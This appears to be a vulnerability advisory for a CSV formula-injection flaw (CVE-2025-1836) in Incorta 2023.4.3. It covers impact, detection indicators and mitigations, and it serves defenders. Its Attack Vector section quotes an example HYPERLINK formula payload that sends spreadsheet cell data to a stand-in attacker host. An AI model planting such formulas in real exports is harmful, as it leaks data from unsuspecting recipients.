CVE-2025-1836 Overview
CVE-2025-1836 is a CSV injection vulnerability in Incorta 2023.4.3. The flaw resides in the Edit Insight Handler component, where the Service Name argument is not sanitized before being written to exportable data. An authenticated remote attacker can inject spreadsheet formulas that execute when a victim opens the exported CSV file in a spreadsheet application. The weakness is classified under CWE-74 (Improper Neutralization of Special Elements in Output). According to public disclosure notes, the vendor was contacted but did not respond.
Critical Impact
Attackers with low-privilege access can embed malicious formulas into Incorta insights. When exported and opened downstream, those formulas can execute commands, exfiltrate cell data, or trigger phishing content in the victim's spreadsheet client.
Affected Products
- Incorta 2023.4.3
- Component: Edit Insight Handler
- Affected argument: Service Name
Discovery Timeline
- 2025-03-02 - CVE-2025-1836 published to the National Vulnerability Database
- 2026-06-17 - Last updated in NVD database
Technical Details for CVE-2025-1836
Vulnerability Analysis
The issue is a CSV injection (also called formula injection) weakness. Incorta's Edit Insight Handler accepts a user-supplied Service Name value and stores it without neutralizing spreadsheet meta-characters. When the resulting insight data is exported to CSV, XLS, or similar tabular formats, the injected string is preserved verbatim.
Spreadsheet applications such as Microsoft Excel, LibreOffice Calc, and Google Sheets treat cell values beginning with =, +, -, @, or tab and carriage return characters as formulas. A crafted Service Name value can therefore invoke functions like HYPERLINK, WEBSERVICE, IMPORTXML, or dynamic data exchange (DDE) chains when the exported file is opened.
The attack requires network access and low-privilege authentication, but no user interaction on the Incorta side. The victim is a downstream consumer of the exported data.
Root Cause
The root cause is missing output neutralization at the export boundary. Incorta stores the raw Service Name string and does not prefix, escape, or reject values that begin with spreadsheet formula characters. The application trusts input at write time and never sanitizes it at read or export time.
Attack Vector
An authenticated attacker edits an insight through the Edit Insight Handler and sets the Service Name field to a payload such as =HYPERLINK("http://attacker.example/exfil?d="&A1,"Click") or a WEBSERVICE call. When another user exports the insight and opens the file, the spreadsheet client evaluates the formula. Depending on client configuration, this can leak cell data, fetch remote content, or present convincing phishing links inside a trusted document.
No verified public proof-of-concept code is available. See the VulDB entry #298104 for the original submission details.
Detection Methods for CVE-2025-1836
Indicators of Compromise
- Insight records where Service Name or related metadata fields begin with =, +, -, @, \t, or \r.
- Exported CSV or XLSX artifacts from Incorta containing cells starting with formula characters that reference HYPERLINK, WEBSERVICE, IMPORTXML, IMPORTDATA, or cmd| DDE strings.
- Outbound HTTP or DNS requests from user endpoints to unfamiliar hosts shortly after opening an Incorta export.
Detection Strategies
- Scan Incorta metadata tables and export archives for values matching the regular expression ^[=+\-@\t\r].
- Correlate spreadsheet application process launches (excel.exe, soffice.bin) with subsequent child processes or network connections to non-corporate destinations.
- Review Incorta audit logs for edit events targeting the Insight Service Name field by low-privilege accounts.
Monitoring Recommendations
- Alert on endpoint telemetry showing spreadsheet clients spawning cmd.exe, powershell.exe, mshta.exe, or making network calls to external domains.
- Monitor egress from analyst workstations for unexpected outbound requests immediately following Incorta report downloads.
- Track changes to Incorta insights by user, timestamp, and field to identify tampering with export-bound content.
How to Mitigate CVE-2025-1836
Immediate Actions Required
- Audit existing Incorta 2023.4.3 insights and remove or neutralize any Service Name values that start with formula characters.
- Restrict edit permissions on insights to trusted roles until a vendor fix is available.
- Educate report consumers to open Incorta exports in Protected View and to disable automatic formula evaluation and external data connections.
Patch Information
No vendor advisory or patch has been published for CVE-2025-1836. Public disclosure notes indicate the vendor did not respond to the reporter. Track vendor communications at Incorta's support portal and the VulDB CTI entry #298104 for updates.
Workarounds
- Sanitize CSV exports at a proxy or post-processing step by prefixing any cell starting with =, +, -, or @ with a single quote (') or a leading space.
- Configure Microsoft Excel and LibreOffice Calc via group policy to disable DDE, WEBSERVICE, and external workbook links for files originating from network shares or downloads.
- Restrict which user roles can modify the Service Name field, and log all edits for review.
- Deliver Incorta exports in formats that do not evaluate formulas, such as PDF, when the recipient does not need spreadsheet interactivity.
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
